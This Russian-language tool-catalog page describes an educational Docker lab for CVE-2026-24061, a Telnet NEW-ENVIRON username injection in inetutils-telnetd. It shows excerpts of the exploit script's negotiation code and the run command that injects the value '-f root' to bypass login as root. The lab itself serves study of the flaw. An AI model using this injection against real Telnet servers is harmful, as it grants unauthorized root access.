Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24061 — Образовательная Docker-лаборатория, демонстрирующая инъекцию имени пользователя в Telnet NEW-ENVIRON (CVE-2026-24061), с Python-клиентом и уязвимым сервером для изолированных исследований в области безопасности. | Kitploit
Инструменты/GitHubGitHub/tiborscholtz/cve-2026-24061
Анализ уязвимостейЭксплуатацияСетевая безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

Образовательная Docker-лаборатория, демонстрирующая инъекцию имени пользователя в Telnet NEW-ENVIRON (CVE-2026-24061), с Python-клиентом и уязвимым сервером для изолированных исследований в области безопасности.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Docker Telnet Auto-Login Lab

Docker Python License

Лёгкая Docker-лаборатория для экспериментов с согласованием протокола Telnet, описанным в эксплойте CVE-2026-24061, который содержит автоматическую инъекцию имени пользователя с использованием опции NEW-ENVIRON.

Этот проект создаёт изолированную среду «клиент–сервер» для изучения того, как Telnet обрабатывает обход аутентификации на основе переменных окружения.


Возможности

  • Изолированная лаборатория из двух контейнеров на базе Docker Compose
  • Пользовательский Telnet-клиент на Python
  • Автоматическая инъекция переменной окружения USER
  • Базовая обработка согласования опций Telnet
  • Обнаружение сервисов на основе внутреннего DNS Docker
  • Минимальная и воспроизводимая настройка

Архитектура

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
КонтейнерРоль
node1Python-клиент со скриптом автовхода
node2Telnet-сервер (inetutils-telnetd 2.7)

Оба сервиса работают внутри приватной мостовой сети Docker с именем labnet.


Структура проекта

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Описание файлов

Dockerfile.node1

Этот файл отвечает за установку клиентского контейнера с именем node1.

Я выбрал python:3.12-slim в качестве базового образа, поскольку цель этой лаборатории — только сетевое взаимодействие. Мы устанавливаем лишь сам Telnet-клиент и копируем exploit.py в корневую папку контейнера.

Dockerfile.node2

Этот файл отвечает за установку серверного контейнера с именем node2.

Для этого контейнера применяется тот же базовый образ. Однако процесс установки включает больше шагов:

  • После обновления необходимо установить wget, чтобы получить уязвимую версию telnetd.
  • После загрузки уязвимой версии установим её с помощью apt get install -y.
  • Строка, добавленная в /etc/inetd.conf, включает службу telnet.
  • Последняя команда включает демон inetd в качестве команды запуска контейнера.

exploit.py

В начале файла объявлено несколько констант:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC со значением 255 означает Interpret As Command, то есть отмечает начало управляющей последовательности Telnet.

Вы можете изучить дополнительные опции здесь

Формат обычно выглядит так:

root@kitploit:~
IAC <команда> <опция>

В скрипте есть следующая часть:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Этот if проверяет, что если полученные от сервера данные содержат значение IAC, нам нужно интерпретировать их как команду.

Мы проходим по полученным данным с помощью цикла while. Для каждого байта проверяем, является ли он IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Если это так, мы присваиваем переменным cmd и opt соответствующие байты потока данных.

Если значение opt равно значению NEW_ENVIRON, скрипт запускает метод send_new_environ_user.

Рассмотрим следующий фрагмент кода:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB и SE являются частью констант протокола Telnet. SB означает «Subnegotiation begin» (начало субсогласования), а SE — «Subnegotiation end» (конец субсогласования). Всё, что находится между этими двумя значениями, — это настройки, относящиеся к одной конкретной команде, отправляемой на сервер. В данном случае мы хотим отправить сообщение по стандарту rfc1572, подробнее здесь.

Эту последовательность байтов можно вольно перевести на русский так:

root@kitploit:~
- Интерпретировать это как команду (IAC)
- Это (0)
- Новая переменная окружения (NEW_ENVIRON)
- Значение этой новой переменной окружения — (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Завершить субсоединение (IAC + SE)

Однако бывают случаи, когда целевой Telnet-сервер не поддерживает переменные окружения, связанные с именами пользователей. В этом случае мы возвращаемся к отправке имени пользователя традиционным способом.


Требования

  • Docker 24+
  • Docker Compose v2+

Проверка установки:

root@kitploit:~
docker --version
docker compose version

Быстрый старт

1. Сборка и запуск среды

root@kitploit:~
docker compose up --build -d

Проверка статуса:

root@kitploit:~
docker ps

Вы должны увидеть:

  • node1
  • node2

2. Открыть оболочку в клиентском контейнере

root@kitploit:~
docker exec -it node1 bash

Задайте имя пользователя и запустите скрипт:

root@kitploit:~
USER="-f root" python exploit.py node2

Скрипт будет:

  • Подключаться к node2 на порту 23
  • Выполнять согласование Telnet
  • Отправлять USER=-f root с помощью NEW-ENVIRON
  • При необходимости переключаться на обнаружение приглашения

Сеть

  • Имя сети: labnet
  • Внутренний DNS Docker обеспечивает разрешение имён хостов
  • Порты не открываются наружу
  • Взаимодействие осуществляется только между контейнерами
Имя хостаСлужба
node1Клиент
node2Telnet-сервер

Примечания по реализации

Клиентский скрипт:

  • Обрабатывает управляющие последовательности Telnet IAC, DO, WILL, которые являются фундаментальными командами протокола Telnet, используемыми для согласования опций между клиентом и сервером.
  • Отвечает на запросы NEW-ENVIRON
  • Отправляет:
root@kitploit:~
USER=<значение $USER>
  • Обнаруживает приглашения login: или username: в качестве запасного варианта

Остановка и очистка

Остановка среды:

root@kitploit:~
docker compose down

Если вы также хотите удалить контейнеры и образы:

root@kitploit:~
docker compose down --rmi all

Уведомление о безопасности

Telnet передаёт данные в открытом виде и не является безопасным. Этот проект предназначен только для образовательных целей в изолированных средах.


Устранение неполадок

Отказ в подключении

  • Убедитесь, что контейнеры запущены:

    root@kitploit:~
    docker ps
    

Скрипт завершается с ошибкой USER

  • Убедитесь, что переменная окружения задана:
root@kitploit:~
USER="-f root" python exploit.py node2

Пересборка после изменений

root@kitploit:~
docker compose up --build

Лицензия

Этот репозиторий предоставляется для образовательных и исследовательских целей. Приветствуются вклад и улучшения.

Скачать инструмент